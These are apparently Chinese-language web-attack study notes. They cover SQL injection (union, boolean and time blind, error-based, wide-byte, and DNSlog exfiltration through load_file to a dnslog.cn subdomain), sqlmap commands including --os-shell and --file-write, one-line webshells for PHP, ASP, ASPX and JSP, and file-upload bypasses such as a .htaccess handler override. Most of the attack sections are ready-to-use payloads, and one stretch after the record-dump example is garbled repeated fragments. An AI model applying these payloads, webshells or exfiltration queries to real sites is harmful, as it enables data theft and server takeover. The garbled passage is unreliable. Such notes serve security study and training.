
Web知识点总结  
一、爆破fuzz类  

分别列为：网站路径、账号密码、传参名

网站路径：分别有路由路径（api路径）、常规路径，一般使用BP内Repeter模块进行爆破字典并且调整
线程

 

具体线程数在如下进行调整：

 

fuzz类爆破纯靠字典，需自行备好各个方向的字典
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二、SQL注入类  

SQL类统称四字核心：增、删、改、查

1.根据注入位置分类： GET注入、 POST注入、 Head头注入

2.根据结果反馈分类：有回显注入(显错注入)、无回显注入(盲注)

3.根据数据类型分类：

   a. 字符型注入：当输入参数为字符串时，称为字符型。数字型与字符型注入最大的区别在于：数字型

不需要单引号闭合，而字符串类型一般要使用单引号来闭合

   b. 数字型注入：当输入的参数为整型时，如ID、年龄、页码等，如果存在注入漏洞，则可以认为是数

字型注入。

此外还有一些根据数据库不同进行分类等。

 

总流程： 确认注入点 ----> 注入类型判断 ----> 注入方式判断（有无回显、各种手法类型）

 

注入点判断：通常情况下，可能存在 SQL 注入漏洞的 Url 是类似这种形式 ：
http://xxx.xxx.xxx/abc.php?id=XX对 Sql 注入的判断，主要有一个方面：1.判断该 Url 所带的参数

值是否存在 SQL 注入？（是否有传输进到数据库内）

 

注入类型判断：最常用最简单的为：单引号判断方法

在参数后面加上单引号,比如: http://xxx/abc.php?id=1'  如果页面返回错误，则存在 SQL 注入

具体为何如下：

假设后端语句为：

 

将我们参数的参数值 1'代入，则成为：

由于多出了个 '将导致整个的语句进行报错

 

通过是否报错来判断

SELECT first_name, last_name FROM users WHERE user_id = '$id'

// 注：这里的'$id'可以有多种的闭合方式, $id, '$id', "$id", ($id)

SELECT first_name, last_name FROM users WHERE user_id = '1''

比如我们用1'来试探一个注入点，会有以下几种情况：

"1'"："" 中为可以包含 ' ，而 1' 是一个合法的字符串,在查询时会先被强制类型转换为数字，不会报错

1'：单引号未闭合，会报错

'1''：第三个单引号未闭合，会报错
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注入方式判断：通过报错信息来判断（有回显、无回显）

 

 

1.联合查询注入  

此为最基础的SQL注入第一类

此类特征是采用SQL的一些特定字来进行注入

对于整个注入的流程也是：确认注入点 ----> 注入类型判断 ----> 判断表中列数 ----> 确定显示位 ---

-> 获取数据

 

一、进行判断是否存在注入

利用 '（单引号）或者"（双引号）来判断是否存在漏洞，如果出现SQL语句错误说明有很大的可能会存在
漏洞

假设后端的SQL语句为：

当我们给变量输入1，后端获取到前端的输入后将其赋值给$id这个变量，此时SQL查询语句为：

 

数据库从对应表中把满足 id=1这个条件的行（记录）中的 login name、 password查询出来，在前端

浏览器里显示为：

SELECT first_name, last_name FROM users WHERE user_id = '$id'

SELECT first_name, last_name FROM users WHERE user_id = '1'
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当id值为 1'的时候，后端SQL语句就变为了：

 

可以看到多了一个单引号，因为单引号不匹配，则会报错。因为能引起数据库的报错，说明用户是可以

对原查询语句进行修改的，说明存在漏洞

 

二、判断注入类型

判断注入类型是数字型还是字符型，这涉及到在注入的过程中是否需要添加单引号，可以使用： 1and 

1=1、 1 and 1=2和 1' and '1'='1、 1' and '1'='2进行判断(最为经典)

输入1 and 1=1和1 and 1=2页面皆正常显示

SELECT first_name, last_name FROM users WHERE user_id = '1''
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输入 1' and '1'='1和 1' and '1'='2的时候，前者正常显示，后者不显示，说明单引号起作用了，

因此可以得知注入类型为字符型

 

知识点！！

为何 1 and 1=2也能正常成功的回显？

这个涉及到了MySQL的隐式类型转换，简单来说就是

'2admin' ==>2

'admin'==>0

'33admin'==>33

正常从往右读取当碰到字母字符类时，将会把后续的内容全部清空一样，所以1 and 1=2 ----> 1
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（3）判断表中列数

为了方便后续获取数据，需要先知道查询的表中显示的字段数，可以使用order by（用于根据指定的列
对结果集进行排序。当order by的数字大于当前的列数时候就会报错，SQL注入利用这个特性来判断列
数）来进行判断

 

当输入1' order by 5 --+时，显示未知的列数

 

当输入1' order by 3 --+时，显示正常，说明列表内只有三列

为什么从以上方法中可以判断出注入的类型呢？

1. 当用户输入1 and 1=1时，SQL语句变成了：

SELECT first_name, last_name FROM users WHERE user_id ='1 and 1=1' ，实际上最终查询

的还是'1'

2. 当用户输入1 and 1=2时，SQL语句变成了：

SELECT first_name, last_name FROM users WHERE user_id ='1 and 1=2' ，实际上最终查询

的还是'1'

3. 当用户输入1' and '1'='1时，SQL语句变成了：

SELECT first_name, last_name FROM users WHERE user_id ='1' and '1'='1' ，实际上最终

查询的是user_id ='1'并且'1'='1'

4. 当用户输入1' and '1'='2时，SQL语句变成了：

SELECT first_name, last_name FROM users WHERE user_id ='1' and '1'='2' ，实际上最终

查询的是user_id ='1'并且'1'='2' 因为1=2不成立，所以整条语句也都不成立，因此可以知道页面返回为

空是由于sql语句不成立导致的
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（4）确定显示位

在一个网站的正常页面，服务端执行SQL语句查询数据库中的数据，客户端将数据展示在页面中，这个展
示数据的位置就叫显示位。UNION操作符用于合并两个或多个 SELECT 语句的结果集，UNION结果集中
的列名总是等于UNION中第一个 SELECT 语句中的列名，并且UNION 内部的 SELECT 语句必须拥有相同
数量的列。列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同

 

输入 -1'union select 1,2,3--+时，可以发现2和3都回显到页面中了，说明这两个位置都可以显示数

据

 

（5）获取数据库名以及数据库版本

在有回显的位置上将获取数据库名的函数进行替换，输入 -1' union select 

1,version(),database()--+    得到对应库名：security   版本为：5.5.53

--+等同于#（%23）就是注释的意思，是为了将SQL语句中后面多余的单引号注释掉

为何需要将第一个1改成-1？

在实战中一般不查询union左边的内容，这是因为程序在展示数据的时候通常只会取结果集的第一行数据，所以

只要让第一行查询的结果是空集，即union左边的select子句查询结果为空，那么union右边的查询结果自然

就成为了第一行，打印在网页上了。所以让union左边查询不到，可以将其改为负数或者改为比较大的数字
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（6）获取数据库中的表名

输入 -1' union select 1,2,table_name from information_schema.tables where 

table_schema='security'--+    得到对应表名：emails

 

进阶版：

爆出该库的所有表名

输入 -1'union select 1,2,group_concat(table_name) from information_schema.tables 

where table_schema='security'--+    得到对应表名：emails,referers,uagents,users

这里的数据库名、表名等字符串需要用单引号、双引号包裹住，或者可以使用对应的的十六进制的形式  数据

库名也可以用函数表示：database()
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（7）获取表中的字段名

输入 -1' union select 1,2,column_name from information_schema.columns where 

table_name='emails' and table_schema=database()--+     得到字段名：id

 

进阶版：

爆出所有的字段名

通过sql语句查询知道当前数据库有四个表，根据表名知道可能用户的账户和密码是在users表中 接下来
就是得到该表下的字段名以及内容

输入 -1'union select 1,2,group_concat(column_name) from information_schema.columns 

where table_name='users'--+    得到对应全部字段名：

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

information_schema.tables表示该数据库下的tables表，点表示下一级 

where后面是条件，group_concat()是将查询到结果连接起来 如果不用group_concat查询到的只有

emails 

该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是

security的所有table_name的内容
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（8）获取该字段中的所有内容

以上两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

输入 -1' union select 1,2,group_concat(username ,id , password) from users--+    通过中

间间隔id来让两个值不会混乱

 

 

 

2.盲注  

盲注就是当输入语句被带到后端数据库进行执行后，并没有有效的回显能够直接看到的数据返回，所以

当返回值不管是什么都为空时，则可以判断为盲注

 

1.布尔盲注

如果正确执行了用户构造的 SQL 语句，则返回一种页面；如果 SQL 语句执行错误，则执行另一种页面   
基于两种页面，来判断 SQL 语句正确与否，达到获取数据的目的

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的

所有column_name的内。注意table_name字段不是只存在于tables表，也是存在columns表中  表示所有

字段对应的表名
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注入流程：

 

常用函数：

 

 

一、进行判断是否存在注入

一样在此基础上先进行判断是否有页面回显为不正常的，若为不正常的即是存在注入

当输入 1' and '1'='2和 1'时回显内容不正常，无明显数据返回，因此判断为无回显注入字符型

 

 

1. 判断是否存在注入

2. 获取数据库长度

3. 逐字猜解数据库名

4. 猜解表名数量

5. 猜解某个表名长度

6. 逐字猜解表名

7. 猜解列名数量

8. 猜解某个列名长度

9. 逐字猜解列名

10. 判断数据数量

11. 猜解某条数据长度

12. 逐位猜解数据

database()    显示数据库名称

left(a,b)     从左侧截取a的前b位

substr(a,b,c) 从b位置开始，截取字符串a的c长度

mid(a,b,c)    从位置b开始，截取a字符串的c位

length()      返回字符串的长度

Ascii()       将某个字符转换为ascii值

char()        将ASCII码转换为对应的字符

盲注中一般使用1 and 1=1、1 and 1=2和1' and '1'='1、1' and '1'='2进行判断
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二、获取数据库名

（1）获取库长度

使用length()（length()用于判断字符串长度）进行判断，用法示例如下：

 

（2）获取库名

使用substr()函数进行字符串截取。substr(string, start, length)截取字符串， string是要截取的字

符串， start是从哪个位置开始， length是截取的长度，注意，该函数有3个参数并且mysql中的start

从1开始的）

示例如下：

依次从第一位第二位第三位顺序去获取到正确的回显页面也就等同于是正确字符，从而拿到完整数据库

名

 

三、获取表名

1' and length(database())>5--+ //通过database获取数据库名，并对数据库名的长度进行判断是否

长度大于5，如果长度小于5则肯定会回响错误的页面，如果长度大于5则正常回显

截取数据库名的第一个字母，输入1' and substr(database(),1,1)='r'--+ 

// 第一位database为要截取的这个数据库名的一整串字符串，第二个位置为这个截取的一串字符串的第几位

字符，第三位置为截取要截取几个字符几个长度
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（1）获取表的数量

由于无法看到有多少个表，为了避免无效查询，所以可以先获取表的数量，可以使用count()函数进行获
取

count()统计数据表中包含的记录行的总数，或者根据查询结果返回列中包含的数据行

示例如下：

 

（2）获取表的长度

由于不清楚有具体几个表，所以通过limit函数来进行判断第一个表名第二个表名等，具体使用方法为：
limit 0,1后面的0,1表示为第一位是第几张表名，第二位是第几行的数据，通常都为第一行的数据为表

名，变动都在于第一位的数字来进行判断多个表名，例如 limit 1,1则是判断第二张表名

示例：

 

输入 1' and (select count(table_name) from information_schema.tables where

table_schema=database())=2--+ 时页面返回的不是正确正常页面，说明此目标数据库中不止有一个数据

表

获取第一个表名的长度，输入1' and length((select table_name from 

information_schema.tables where table_schema=database() limit 0,1))='6'--+ 时，若

页面回显正常情况并无报错则说明第一个表名长度为6是正确，依次类推
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（3）获取具体表名

当要对具体表名提取对应的字符后可以使用substr()函数来进行，substr()函数具体使用如下：

示例如下：

 

进阶：

当你觉得用substr不好判断具体字符时可以用以下办法：

SUBSTR(string, start, length)

string: 要处理的字符串

start: 开始位置（起始值是1） ----> 一般都是在此为进行变化判断具体名

length: 截取的长度

获取第一个表名字的第一个字母，当输入1' and substr((select table_name from 

information_schema.tables where table_schema=database() limit 0,1),1,1)='e'--+

时，若页面回显正常情况并无报错则说明第一个字母是e

获取第一个表名字的第二个字母，当输入1' and substr((select table_name from 

information_schema.tables where table_schema=database() limit 0,1),2,1)='m'--+ 

时，若页面回显正常情况并无报错则说明第一个字母是m
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通过ascii()函数来进行更容易判断具体字符为哪一个，此函数为返回字符的ASCII码，ascii()函数具体使用
如下：

通过以上第一种方法用上后，再讲此ascii函数套在最外层，便可以在最后进行判断此用substr()函数提取
出来的字符的ASCII码为多少

示例如下：

 

 

四、获取字段名

（1）获取某个表中有多少列

使用count()函数进行判断此表有多少列数

获取第一个表名字的第一个字母，当输入1' and ascii(substr((select table_name from 

information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+ 

时，若页面回显正常情况并无报错则说明此字符的ascii码是大于100

当套上ascii函数后便可以使用多种符号进行判断： =  >  <

获取第一个表名字的第二个字母，当输入1' and ascii(substr((select table_name from 

information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+ 

时，若页面回显正常情况并无报错则说明此字符的ascii码等于109 
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（2）获取列名的长度

使用limit函数以及length函数进行判断,使用limit来控制第一个列以及第二个列

获取guestbook表中的列数，当输入1' and (select count(column_name) from 

information_schema.columns where table_name="emails" and table_schema=database())

<3--+时，页面回显正常情况并无报错则说明emails表中的列数小于3列

获取第一个列名的长度，当输入1' and length((select column_name from 

information_schema.columns where table_name='emails' and table_schema=database() 

limit 0,1))<10--+时，页面回显正常情况并无报错则说明第一个列名的长度小于10

获取第二个列名的长度，当输入1' and length((select column_name from 

information_schema.columns where table_name='emails' and table_schema=database() 

limit 1,1))<9--+时，页面回显正常情况并无报错则说明第一个列名的长度小于9
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（3）获取列名

同样使用substr函数进行判断获取，同样也可以使用优化后的ascii函数再进行判断

获取第一个列名的第一个字符，当输入1' and ascii(substr((select column_name from  

information_schema.columns where table_name='emails' and table_schema=database() 

limit 0,1),1,1))>100--+时，页面回显正常情况并无报错则说明第一个列名的第一个字符的ASCII码大于

100

获取第一个列名的第二个字符，当输入1' and ascii(ubstr((select column_name from 

information_schema.columns where table_name='emails' and table_schema=database() 

limit 0,1),2,1))<110--+时，页面回显正常情况并无报错则说明第一个列名的第二个字符的ASCII码小于

110

依次改变substr函数截取的起始位直到前一步获取到的列名长度即可完整得到列名

要获取第几个列名，只需要修改limit的起始位即可
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2.时间盲注

注入的流程于布尔盲注一致

简单描述时间盲注：由于页面没有任何的回显，因此无法再用常规的方法进行判断，这里需要用到
sleep()函数来进行判断。sleep()函数使程序停止执行一段指定的时间。一般使用1 and sleep(n)、1' and 
sleep(n)' 进行判断，n为要停止的时间，以秒为单位

假设：

获取各个步骤时，时间盲注于布尔盲注一直，只是区别在于增加了if()这个函数来进行判断，通过回响时
间来确实是否正确以及错误

使用if条件判断语句。语法为：if(expr1,expr2,expr3)。通俗来讲就是如果expr1成立则执行expr2，否则
执行expr3

示例：

获取库名的长度

当输入1 and sleep(3)时，页面响应时间没有延迟

当输入1' and sleep(3)--+时，页面响应时间大概延迟了3000毫秒（约等于3秒），说明数据库执行了

sleep语句，因此可以知道存在SQL注入
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剩下步骤就是将expr1的位置进行替换成注入语句

 

 

3.报错注入  

报错注入是SQL注入的一种，页面上没有显示位，但是会输出SQL语句执行错误信息。报错注入就是利用
数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。这种手段在联合查询
受限且后台没有屏蔽数据库报错信息，发生错误时会输出错误信息在前端页面的情况下比较好用

原理：由于开发人员在开发程序时使用了 print_r()， mysql_error()， mysqli_connect_error()

函数将mysql错误信息输出到前端，因此可以人为地使用一些指定的函数来制造报错信息，从而获取报错
信息中特定的信息

 

报错注入函数：从mysql5.1.5开始提供两个用于XML查询和修改的函数，通过XML函数进行报错，来进
行注入

第一个函数： updatexml()：语法：updatexml(XML_document, XPath_string, new_value)。第一个
参数：

xml文档的名称；第二个参数：xpath格式的字符串；第三个参数：替换查找到的符合条件的数据

第二个函数： extractvalue()：语法：extractValue(xml_frag, xpath_expr)。第一个参数：目标xml文
档；第二个参数：Xpath路径法表示的查找路径。

Xpath定位必须是有效的，否则会发生错误，我们就能利用这个特性爆出我们想要的数据

 

（1）判断是否存在注入

当输入1' and if(length(database())=8,sleep(3),1)--+时，页面延迟了3秒钟，因此可以知道

length(database())=8条件成立，所有数据库名的长度为8

条件都将写在第一位expr1中

第二位expr2则写上对应的sleep时间

第三位expr3随便填写

由此便可以得知若第一位expr1判断成功则就会进行expr2中的sleep执行
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输入1时，页面正常返回，输入1'时，页面出现报错信息,说明存在漏洞

 

利用1 and 1=1、1 and 1=2和1' and '1'='1、1' and '1'='2对注入类型进行判断

 

（2）获取数据库名

使用常规的union联合查询注入可以发现时无法注出数据的，用盲注又太费时费力，所以可以结合页面的
报错信息使用报错注入

 

输入 1' and updatexml(1,concat(0x7e,database()),1)--+，获取到数据库名：security

 

concat()函数作用是讲多个参数连接，例如concat(1,2,3) ----> 输出后则为：123

注意！！！

1. 必须是在xpath那里传特殊字符，mysql才会报错，特殊字符可以使用~的16进制0x7e来表示。

2. xpath是一个位置，用了特殊字符就不能再添加参数，所以可以用concat()函数将~和自己想注

出的数据进行拼接。concat(str1,str2,str3,…)：把str1,str2,str3等字符串无缝拼接起来。

3. xpath只会报错32个字符。
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（3）获取数据库中表名

输入 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from 

information_schema.tables where table_schema='security')),1)--+   成功获取到表名：
emails,referers,uagents,users

 

如果数据库有多张表，但因为 xpath报错限制最多只有32个字符所以可以使用字符串截取函数substr()
截取前

32位，再从起始位32开始截取32位即可得出表名。比如：

 

（4）获取表中的字段名

例子1：

为什么要这么构造攻击语句？

1. 首先回到语法格式上：updatexml(XML_document, XPath_string, new_value)，我们必须在

XPath_string这个参数里填充xpath格式的字符串，但是如果我们填充一个不是xpath格式的字符串，就会

产生报错，所以语句就变成了updatexml(1,database(),1)，前后两个1是随便填充的内容，目的是满足三

个参数。

2. 由于xpath只会对特殊字符进行报错，这里我们可以用~的16进制0x7e来表示，所以就变成了 

updatexml(1,0x7edatabase(),1)，但是由于数据库无法认识中间的内容，所以就无法成功执行，所以可

以用concat()函数把多个字符串合并成一个，就变成了updatexml(1,concat(0x7e,database()),1)

为什么中间的查询语句外面要括号括起来？

1. 因为concat()，中间不允许有空格，所以需要括号括起来把它变成一个整体

2. 由于concat()函数无法将多行合并为一行，select group_concat(table_name) from

information_schema.tables where table_schema='security' 语句会返回多行，所以可以先用

group_conat()函数将多行合并为一行

1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from 

information_schema.tables where table_schema='security'),1,32)),1)%23
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例子2：

 

 

（5）获取表中的记录

例子1：

获取emails表中的字段名，输入1' and updatexml(1,concat(0x7e,(select 

group_concat(column_name) from information_schema.columns where 

table_name='emails' and table_schema='security')),1)--+

获取users表中的字段名，1' and updatexml(1,concat(0x7e,(select 

group_concat(column_name) from information_schema.columns where 

table_name='users' and table_schema='security')),1)--+

获取users表中记录，输入1' and updatexml(1,concat(0x7e,(select 

group_concat(id,username,password) from users)),1)--+

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y



 

 

例子2：

 

 

4.宽字节注入  

如果一个字符的大小是一个字节的，称为窄字节；如果一个字符的大小是两个字节的，则称为宽字节。

像GB2321、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节，也就是只有两个字节。英
文默认占一个字节，中文占两个字节

 

原理：大多数的网站对于SQL注入都做了一定的防护，例如使用一些MySQL中转义的函数
addslashes、 mysql_real_escape_string、 mysql_escape_string等(还有一种是php配置文件 的

magic_quote_gpc设置，不过PHP高版本已经移除此功能)。其实这些函数就是为了过滤用户输入的一些

数据，对特殊的字符加上反斜杠\进行转义，所以在条件符合的情况下可利用宽字节注入绕过这些函数

宽字节注入指的是MySQL数据库在使用宽字节（GBK）编码时，会认为两个字符是一个汉字（前一个
ascii码要大于128（比如%df），才到汉字的范围），而且当我们输入 '  时，MySQL会调用转义函数，
将单引号变为 \'，其中\的十六进制是5c，MySQL的GBK编码，会认为%df%5c是一个宽字节，也就是

運，从而使单引号闭合（逃逸），进行注入攻击

获取表中更多记录，输入1' and updatexml(1,concat(0x7e,substr((select

group_concat(id,username,password) from users),32,32)),1)--+
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注入流程：

（1）判断注入

输入1'后addslashes函数将 '进行转义变为 \'，此时的单引号仅作为普通的字符

输入 1%df'，addslashes函数将'进行转义变为 \'，此时 %df%5c会进行结合变成了一个汉字運，

因此SQL查询语句成功被改变了从而引起了报错，就可以使用报错注入来执行

将多余的 '进行注释然后按照正常的方法注入即可

 

（2）获取表名

使用上文的报错注入进行即可

输入 ?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
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（3）获取库名

由于单引号被转义,在查询语句中不能用单引号,因此只能采用嵌套查询 table_schema='security'换成

table_schema=(select database())来获取表名

以此类推进行获取接下去的步骤

 

5.dnslog注入  

DNSlog注入的步骤如下：

首先，需要一个可以记录DNS请求的平台，例如：DNSLog Platform和CallBack.Red Dns、Http、
Rmi、Ldap Log、CmdtoDNSLog以及CEYE - Monitor service for security testing在这个平台上，
可以获取一个专属的子域名，例如xxx.dnslog.cn，并且可以查看该子域名下所有的DNS请求记录

然后，需要构造一个包含数据库信息的子域名，例如(select database()).xxx.dnslog.cn。这个子域
名可以使用MySQL的函数或者操作符来拼接，例如concat、replace、substr等

接着，需要使用MySQL的load_file函数或其他方法，让目标服务器向DNS服务器发起解析请求。例
如，使用以下语句：

select load_file(concat(‘\\’,(select database()),‘.xxx.dnslog.cn/abc’));

输入?id=1%df' and updatexml(1,concat(0x7e,(select (group_concat(table_name))from 

information_schema.tables where table_schema=(select database())),0x7e),1)--+
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这个语句会让目标服务器尝试从(select database()).xxx.dnslog.cn/abc这个地址加载文件，从
而触发DNS解析请求。

最后，需要在DNSlog平台上查看DNS请求记录，就可以获取数据库信息了。例如，在上面的例子
中，如果数据库名为security，那么就会看到security.xxx.dnslog.cn这样的记录

 

需要注意的点：

由于每一级域名的长度只能为63个字符，所以在MySQL中获取到超过63个字节的字符时，会被当作
一个错误的域名，不会产生去解析的动作。所以需要控制查询结果的字符长度在63个以内

由于URL中传递的字符非常有限，很多特殊字符如 {,},!,等是无法传递的。这就会导致load_file函

数失效。所以需要对查询结果进行hex编码，然后再使用16进制解码网站来还原结果

 

（1）判断注入

显错注入（有回显点的），盲注（注入的效率低且线程高容易被waf拦截）

 

（2）获取库名

使用 load_file函数来进行注入

 

 

6.SQLmap工具  

常用参数：

基础参数：

--version : 显示程序版本号并退出

-h, --help : 显示帮助信息并退出

-u : 设置目标 URL

-p : 指定测试参数

输入?id=1' and load_file(concat('\\\\',(select 

database()),'.u4p0ca.dnslog.cn\\abc'))--+
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-D : 指定要枚举的数据库名

-U : 指定要枚举的数据库表

-T : 枚举列的信息

-C : 指定要枚举的数据库列

-U : 指定要枚举的数据库用户

--current-user : 获取当前用户名称

--current-db : 获取当前数据库名称

--cookie : 设置 cookie 值

--dbs : 列出数据库

--tables : 列出数据库中的表

--columns : 列出表中的列

--dump : 列出表中的字段

--sql-shell : 执行 SQL 命令

--os-cmd : 执行系统命令

--os-shell : 与系统交互 shell

-r : 加载外部请求包

--batch : 使用默认参数进行测试

--data=DATA : 通过 POST 发送数据字符串

--level=LEVEL : 执行测试的等级（1-5，默认为 1）

--risk=RISK : 执行测试的风险（0-3，默认为 1）

-v VERBOSE : 详细级别: 0-6 (默认为 1)

--proxy=PROXY : 使用 HTTP 代理连接到目标 URL

--user-agent : 指定 HTTP User-Agent

--tamper=TAMPER : 使用给定的脚本 (S) 篡改注入数据

--random-agent : 随机的请求头

Tamper 脚本:

使用方法: --tamper xxx.py

例如: --tamper base64encode.py

 

使用示例：

1. 判断注入点和数据类型:

sqlmap -u http://www.test.php?id=1  (GET 方法注入)

sqlmap -r /etc/url.txt  (POST 方法注入)

2. 判断数据库名 (dbs): sqlmap -u "http://www.test.php?id=1" --dbs

3. 判断表名 (tables): sqlmap -u "http://www.test.php?id=1" -D 数据库名 --tables

4. 判断列名 (columns): sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 --
column
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5. 获取字段: sqlmap -u "http://www.test.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump

 

进阶使用：

sqlmap -u "http://url/news?id=1" --current-user  (获取当前用户名称)

sqlmap -u "http://url/news?id=1" --current-db  (获取当前数据库名称)

sqlmap -u "http://url/news?id=1" --dbs  (枚举所有数据库名)

sqlmap -u "http://url/news?id=1" -D "db_name" --tables  (列出指定数据库的表名)

sqlmap -u "http://url/news?id=1" -D "db_name" -T "tablename" --columns  (列出指定

数据库对应表的字段)

sqlmap -u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name" -

-dump  (获取字段内容)

sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users  (指定数据库类型)

sqlmap -u "http://url/news?id=1" --users  (列数据车用户)

sqlmap -u "http://url/news?id=1" --passwords  (数据库用户密码)

sqlmap -u "http://url/news?id=1" --sql-shell/--os-cmd  (执行指定 sql 命令)

sqlmap -u "http://url/news?id=1" --os-cmd=whoami  (执行系统命令)

sqlmap -u "http://url/news?id=1" --os-shell  (系统交互 shell)

sqlmap -u "http://url/news?id=1" --dbs -o"sqImap.log"  (保存进度)

sqlmap -u "http://url/news?id=1" --dbs -o"sqlmap.log" --resume  (恢复已保存进度)

sqlmap -u "http://url/news?id=1" --tamper "base64encode.py"  (加载脚本)

sqlmap -u "http://url/news?id=1" -p id  (指定注入参数)

sqlmap -u "http://url/news?id=1" --dump-all  (爆出该数据库中的所有数据)

sqlmap -u "http://url/news?id=1" --proxy="http://127.0.0.1:8080"  (指定代理)

sqlmap -u "http://url/news?id=1" --delay=3 --force-ssl  (爆破 HTTPS 网站)

sqlmap -u "http://url/news?id=1" --is-dba  (判断当前用户是否有管理员权限)

sqlmap -u "http://url/news?id=1" --identify-waf  (检测是否有 WAF)

sqlmap -u "http://url/news?id=1" --file-read "c:/test.txt"  (读取目标服务器文件)

sqlmap -u "http://url/news?id=1" --file-write test.txt --file-dest 

"e:/hack.txt"  (上传文件到目标服务器)

 

三、WebShell  

WebShell是黑客经常使用的一种恶意脚本，其目的是获得服务器的执行操作权限，常见的Webshell编写
语言为 asp、 jsp和 php。黑客在入侵了一个网站后，通常会将asp或php后门文件（该文件也可以叫网

页后门）与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问该后门，得
到一个命令执行环境，以达到控制网站服务器的目的

 

特点
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1. 持久化控制

黑客上传Webshell之后，就可以充分利用Webshell的后门实现远程访问并控制服务器，从而达到长期控
制网站服务器的目的

2. 权限提升

在服务器没有配置错误的情况下，Webshell将在WEB服务器的用户权限下运行，而用户权限是有限的。
通过Webshell，黑客可以利用系统上的本地漏洞来实现权限提升，从而获得Root权限，这样黑客基本上
可以在系统上做任何事情，包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等

3. 隐蔽性强

Webshell可以嵌套在正常网页中运行，且不容易被查杀。它还可以穿越服务器防火墙，由于与被控制的
服务器或远程主机交互的数据都是通过80端口传递，因此不会被防火墙拦截，在没有记录流量的情况
下，Webshell使用POST包发送，也不会被记录在系统日志中，只会在Web日志中记录一些数据提交的记
录

 

类型

1. 根据编程语言可以分为 php木马、 asp木马，也有基于.NET的 aspx木马和基于Java的 jsp木马

2. 根据文件内容大小，也可以分为大马、小马、一句话木马

3. 根据实现的功能，也有一些打包马、拖库马、内存马等

 

原理

Webshell的恶意性表现在它的实现功能上，是一段带有恶意目的的正常脚本代码。以下是不同编程语言
的一句话木马：

ASP:

 

ASPX:

 

JSP:

 

PHP:

 

<%eval request("cmd")%>

<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

<?php @eval($_POST['cmd']); ?>
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以上PHP一句话木马主要有两个部分，一个是数据的传递部分，一个是数据执行的部分

1. 客户端向服务端传递数据的三种方式：GET、POST、COOKIE。服务端通过$GET[' ']、$POST[' ']、
$_COOKIE[' ']接收客户端传输过来的数据

2. 服务端接收到数据之后提交给eval进行执行，从而成功执行任意代码甚至是系统的命令。

eval：将字符串当成php代码进行执行

 

 

四、文件上传  

文件上传利用的就是结合WebShell去进行拿到服务器的一个控制权

前提条件：

1.成功上传文件到服务器

2.文件能够被访问到

3.文件被解释器解析执行

 

1.前端检测  

前端检测一般是在客户端浏览器运行一段JavaScript代码以对上传的文件进行检测

绕过技巧：

一、按键盘上的F12按键，点击选择进入设置
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二、找到禁用 JavaScript将其勾选上，即可禁用JavaScript

 

三、然后重新上传木马文件即可

 

2.后端检测  

一、MIME类型检测

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。用来表示文档、文
件或字节流的性质和格式。在HTTP数据包中在Content-Type字段显示
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简单来讲就是服务器会检测包里数据的 Content-Type这个内容的值是否符合服务器所要求的格式

常见 MIME类型：

 

绕过技巧

修改 MIME类型为合法类型，一般修改为图片类型

 

超文本标记语言.html文件：text/html

普通文本.txt文件：text/plain

PDF文档.pdf：application/pdf

PNG图像.png：image/png

GIF图像.gif：image/gif

MPEG文件.mpg、.mpeg：video/mpeg
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3.后缀名检测  

一、黑名单检测：

在程序的代码中，一般会有一个专门的黑名单列表，里面会包含常见的危险脚本文件的文件扩展名，

符合该扩展名的文件则不允许上传

其他可解析后缀绕过

Apache服务器能够使用PHP解析 .php3、 .php5、 .phtml     前提是服务器允许解析后缀名

为 .php3、 .php5、 .phtml    如果想要服务器能使用PHP解析这些后缀名的话，需要服务器配置文件内

有已设置此配置

可尝试后缀：

 

 

配置文件绕过：

.htaccess文件（或者分布式配置文件），全称是Hypertext Access（超文本入口）。提供了针对目录

改变配置的方法。即在一个特定的文档目录中放置一个包含一个或多个指令的文件，以作用于此目录及

其所有子目录。管理员可以通过编辑Apache的vhost.conf文件，将AllowOverride None修改为
AllowOverride All并重启Apache

简单来讲就是.htaccess文件可以去调用php解释器来对.htaccess所写的对应文件进行调用php解析里面
的内容

1.上传.htaccess文件：

PHP：php2、php3、php5、phtml、pht

ASP： asa、cer、cdx

ASPX：ascx、ashx、asac

JSP：jspx、jspf

<FilesMatch "phpinfo.png">

setHandler application/x-httpd-php

</FilesMatch>
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2.上传目标解析文件

上传 phpinfo.png文件，让 .htaccess配置文件进行调用服务器php进行解析

上传文件内容：

 

3.成功上传并解析

内容为回显本地phpinfo信息页面
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二、白名单检测

在程序的代码中，一般会有一个专门的白名单列表，里面会包含常见的合法文件的文件扩展名，符合该
扩展名的文件则允许上传

 

00截断绕过
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0x00是十六进制表示方法，是ascii码为0的字符，在有些函数处理时，会把这个字符当做结束符。系统在
对文件名的读取时，如果遇到0x00，就会认为读取已结束。这个可以用在对文件类型名的绕过上

但要注意是文件的16进制内容里的00，而不是文件名中的00 ！！！就是说系统是按16进制读取文件（或
者说二进制），遇到ascii码为零的位置就停止，而这个ascii码为零的位置在16进制中是00，用0x开头表
示16进制，也就是所说的0x00截断。%00是被服务器解码为0x00发挥了截断作用

前提条件：PHP版本 < 5.3.29且php.ini文件的magic_quotes_gpc的值为Off

 

1.上传正常 php文件，并在最后字符加上 %00进行截断

 

 

4.总结绕过方法  

 

